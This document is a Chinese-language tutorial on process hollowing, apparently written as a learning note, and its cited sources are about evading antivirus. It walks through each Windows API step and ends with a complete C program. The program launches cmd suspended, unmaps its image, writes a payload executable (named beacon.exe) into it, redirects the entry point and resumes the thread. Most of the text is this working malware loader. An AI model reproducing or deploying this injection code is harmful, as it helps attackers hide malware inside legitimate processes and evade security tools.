5-进程镂空注入(Process Hollowing Injection)
一、前言
参考文章:
1、使用进程镂空技术免杀360Defender-CSDN博客
2、技术讨论 | Windows 10进程镂空技术(木马免杀) - FreeBuf网络安全行业门户
4、ProcessHollowing/Process Hollowing.cpp at master · NATsCodes/ProcessHollowing · GitHub
5、总结加载Shellcode的各种方式 - 亨利其实很坏 - 博客园
进程镂空注入(Process Hollowing Injection)
是将一个合法的程序挂起,然后修改其内存数据,将进程挖空并替换为恶意木马程序,实现文件层面的注入技术。
前置知识:
进程映像(Process Image)是操作系统在内存中为一个正在运行的进程分配的内存空间和资源的集合。进程映像包含了进程所需的所有数据和代码,包括可执行文件的代码段、数据段、堆栈段以及与进程相关的系统资源和状态信息。
远程进程(Remote Process):一般指的是在当前进程之外运行的另一个进程。
PE文件详见
PE的相关数据结构
这一节
二、流程
偷来的实现原理图如下,具体代码有出入,但这个大致步骤是相似的

使用
CreateProcessA
创建一个进程,并将其设置为挂起状态(CREATE_SUSPENDED)。官方文档:CreateProcessA 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn使用
CreateFileA+GetFileSize+VirtualAlloc+ReadFile
读取恶意程序的内容到本进程的内存空间中。CreateFileA
用于打开指定路径的文件。官方文档:CreateFileA 函数 (fileapi.h) - Win32 apps | Microsoft LearnGetFileSize
获取文件的大小(以字节为单位)。官方文档:getFileSize 函数 (fileapi.h) - Win32 apps | Microsoft LearnVirtualAlloc
在本进程的虚拟地址空间中申请一块内存区域。官方文档:VirtualAlloc 函数 (memoryapi.h) - Win32 apps | Microsoft LearnReadFile
。将文档内存读到指定内存区域。官方文档:ReadFile 函数 (fileapi.h) - Win32 apps | Microsoft Learn
获取DOS头和NT头
使用
GetThreadContext+ReadProcessMemory
获取挂起进程的线程上下文和映像基址GetThreadContext
获取挂起进程的上下文。官方文档 :GetThreadContext 函数 (processthreadsapi.h) - Win32 apps | Microsoft LearnReadProcessMemory
获取挂起进程的映像基址。官方文档:ReadProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn在
PE的相关数据结构
那一节我说过,进程的上下文包含了各种寄存器的值。EBX
(在x86架构下)和RDX
(x64架构下)都存放着指向PEB(进程环境控制块)的指针。而PEB是包含进程的各种信息的数据结构,其中包括了映像基址(ImageBase)。
使用
NtUnmapViewOfSection
卸载挂起进程内存。简单来说,就是在进行进程注入前,确保目标进程的指定内存区域是可用的。官方文档:ZwUnmapViewOfSection 函数 (wdm.h) - Windows drivers | Microsoft Learn使用
VirtualAllocEx+WriteProcessMemory
写入恶意软件代码。VirtualAllocEx
在远程进程的虚拟地址空间中申请一块内存区域。官文档:VirtualAllocEx 函数 (memoryapi.h) - Win32 apps | Microsoft LearnWriteProcessMemory
将数据写入到指定进程的内存区域。官方文档:WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn
使用
SetThreadContext+ResumeThread
设置线程上下文与恢复挂起进程SetThreadContext
官方文档:SetThreadContext 函数 (processthreadsapi.h) - Win32 apps | Microsoft LearnResumeThread
官方文档:ResumeThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn
三、分步实现
1. 定义一些变量和结构体
// 定义变量和结构体
IN PIMAGE_DOS_HEADER pDosHeaders; //表示 DOS 头
IN PIMAGE_NT_HEADERS pNtHeaders; //表示 NT 头。
IN PIMAGE_SECTION_HEADER pSectionHeaders; //表示节头。
IN PVOID FileImage; //恶意文件的映像基址
IN HANDLE hFile; //一个句柄,指向文件
OUT DWORD FileReadSize; //存储实际读取的文件大小
IN DWORD dwFileSize; //存储文件的总大小
IN PVOID RemoteImageBase; //远程进程中映像基址
IN PVOID RemoteProcessMemory; //远程进程中分配的内存起始地址。
STARTUPINFOA si = { 0 }; //用于指定新进程的主窗口特性
PROCESS_INFORMATION pi = { 0 }; //进程的相关信息
CONTEXT ctx; // 线程上下文
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si); //结构体的大小
//用于替换的恶意程序
char path[] = "/* 恶意程序exe的路径 */";
2. 使用 CreateProcessA
创建一个进程,并将其设置为挂起状态(CREATE_SUSPENDED)
CreateProcessA
创建一个进程,并将其设置为挂起状态(CREATE_SUSPENDED)创建一个进程,在本例中是cmd进程,被创建的进程可以换其他合法的程序。
// 创建挂起的cmd进程
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
3. 使用 CreateFileA+GetFileSize+VirtualAlloc+ReadFile
读取恶意程序的内容到本进程的内存空间中。
CreateFileA+GetFileSize+VirtualAlloc+ReadFile
读取恶意程序的内容到本进程的内存空间中。开辟一个缓冲区,将恶意程序的内容读到这个缓冲区中,这个缓冲区不需要可执行的权限,所以 VirtualAlloc
可以用关键字new一个缓冲区替代。
//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
4. 获取DOS头和NT头
为什么要获取获取DOS头和NT头?DOS头里有NT的偏移量,而NT头里有着非常丰富的信息,包括进程的 入口点
、映像基址
、文件头
等等各种对注入有用的信息。
//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage; //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
5. 使用 GetThreadContext+ReadProcessMemory
获取挂起进程的线程上下文和映像基址
GetThreadContext+ReadProcessMemory
获取挂起进程的线程上下文和映像基址GetThreadContext
函数用于检索指定线程的上下文。线程上下文包含寄存器值和其他处理器状态信息,这对于调试和进程控制非常重要。
//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx);
//获取挂起进程的映像基址
#ifdef _WIN64
// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
6. 使用 NtUnmapViewOfSection
卸载挂起进程内存
NtUnmapViewOfSection
卸载挂起进程内存每一个PE文件都有ImageBase(预期加载基址),如果ImageBase被占用我们就卸载已存在文件
//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}
7. 使用 VirtualAllocEx+WriteProcessMemory
写入恶意软件代码
VirtualAllocEx+WriteProcessMemory
写入恶意软件代码忘记在 PE的相关数据结构
写了,在这里补充节头的定义
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 节名称(8字节)
union {
DWORD PhysicalAddress; // 物理地址
DWORD VirtualSize; // 虚拟大小
} Misc;
DWORD VirtualAddress; // 虚拟地址(节在内存中的偏移)
DWORD SizeOfRawData; // 节在文件中的大小
DWORD PointerToRawData; // 节在文件中的偏移
DWORD PointerToRelocations; // 重定位表偏移
DWORD PointerToLinenumbers; // 行号表偏移
WORD NumberOfRelocations; // 重定位项数量
WORD NumberOfLinenumbers; // 行号数量
DWORD Characteristics; // 节属性标志
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
恶意软件写入合法进程的空间,先写入文件头后逐段写入。
//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
//逐段写入
/*
文件基址 + DOS头偏移 + NT头大小 + (当前节索引 * 节头大小) = 当前节头位置
FileImage + pDosHeaders->e_lfanew = NT头位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) = 节表的起始地址位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)是得到每个节表项,这个节表项就是每个节的节头。
VirtualAddress存放着每个节在内存的偏移量
PointerToRawData存放着每个节在物理磁盘上的偏移量
*/
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(
pi.hProcess, // 目标进程句柄
(PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), // 目标内存地址
(PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), // 源数据地址
pSectionHeaders->SizeOfRawData, // 写入大小
NULL
);
}
8. 使用 SetThreadContext+ResumeThread
设置线程上下文与恢复挂起进程
SetThreadContext+ResumeThread
设置线程上下文与恢复挂起进程在注入中常用寄存器的调用约定
// x64 注入
ctx.Rcx = 入口点地址
ctx.Rdx = PEB地址
ctx.Rip = 入口点
// x86 注入
ctx.Eax = 入口点地址
ctx.Ebx = PEB地址
ctx.Eip = 入口点
32 位程序 ImageBase 位于 PEB 结构 +0x8 偏移处

64 位程序 ImageBase 位于 PEB 结构 +0x10 偏移处
在windows的调用约定中,挂起进程的Eax/Rcx存储着软件的入口点。
Ebx/Rdx存放着PEB的起始地址,而在PEB起始地址的0x8/0x10偏移处存放着Imagebase
//将rcx寄存器设置为注入软件的入口点
#ifdef _WIN64
//入口点设置
ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
//映像基址写入
WriteProcessMemory(
pi.hProcess, //本进程的句柄
(PVOID)(ctx.Rdx + 0x10 ), // 被注入进程的ImageBase
&pNtHeaders->OptionalHeader.ImageBase, // 恶意文件的ImageBase
sizeof(PVOID),
NULL);
#endif
//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
//入口点设置
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
//映像基址写入
WriteProcessMemory(
pi.hProcess, //本进程的句柄
(PVOID)(ctx.Ebx + 0x8 ), // 被注入进程的ImageBase
&pNtHeaders->OptionalHeader.ImageBase, // 恶意文件的ImageBase
sizeof(PVOID),
NULL);
#endif
四、完整代码
#include <stdio.h>
#include <Windows.h>
// WindowsAPI声明
typedef VOID(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(int argc, wchar_t* argv[])
{
// 定义变量和结构体
IN PIMAGE_DOS_HEADER pDosHeaders; //表示 DOS 头
IN PIMAGE_NT_HEADERS pNtHeaders; //表示 NT 头。
IN PIMAGE_SECTION_HEADER pSectionHeaders; //表示节头。
IN PVOID FileImage; //恶意文件的映像基址
IN HANDLE hFile; //一个句柄,指向文件
OUT DWORD FileReadSize; //存储实际读取的文件大小
IN DWORD dwFileSize; //存储文件的总大小
IN PVOID RemoteImageBase; //远程进程中映像基址
IN PVOID RemoteProcessMemory; //远程进程中分配的内存起始地址。
STARTUPINFOA si = { 0 }; //用于指定新进程的主窗口特性
PROCESS_INFORMATION pi = { 0 }; //进程的相关信息
CONTEXT ctx; // 线程上下文
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si); //结构体的大小
//用于替换的恶意程序
char path[] = "C:\\Users\\Xu\\Desktop\\beacon.exe";
// 创建挂起的cmd进程
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage; //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx);
//获取挂起进程的映像基址
#ifdef _WIN64
// 从rdx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}
//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
//逐段写入
/*
文件基址 + DOS头偏移 + NT头大小 + (当前节索引 * 节头大小) = 当前节头位置
FileImage + pDosHeaders->e_lfanew = NT头位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) = 节表的起始地址位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)是得到每个节表项,这个节表项就是每个节的节头。
VirtualAddress存放着每个节在内存的偏移量
PointerToRawData存放着每个节在物理磁盘上的偏移量
*/
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(
pi.hProcess, // 目标进程句柄
(PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), // 目标内存地址
(PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), // 源数据地址
pSectionHeaders->SizeOfRawData, // 写入大小
NULL
);
}
//将rcx寄存器设置为注入软件的入口点
#ifdef _WIN64
//入口点设置
ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
//映像基址写入
WriteProcessMemory(
pi.hProcess, //本进程的句柄
(PVOID)(ctx.Rdx + 0x10 ), // 被注入进程的ImageBase
&pNtHeaders->OptionalHeader.ImageBase, // 恶意文件的ImageBase
sizeof(PVOID),
NULL);
#endif
//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
//入口点设置
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
//映像基址写入
WriteProcessMemory(
pi.hProcess, //本进程的句柄
(PVOID)(ctx.Ebx + 0x8 ), // 被注入进程的ImageBase
&pNtHeaders->OptionalHeader.ImageBase, // 恶意文件的ImageBase
sizeof(PVOID),
NULL);
#endif
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
ResumeThread(pi.hThread); // 恢复挂起线程
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}

Last updated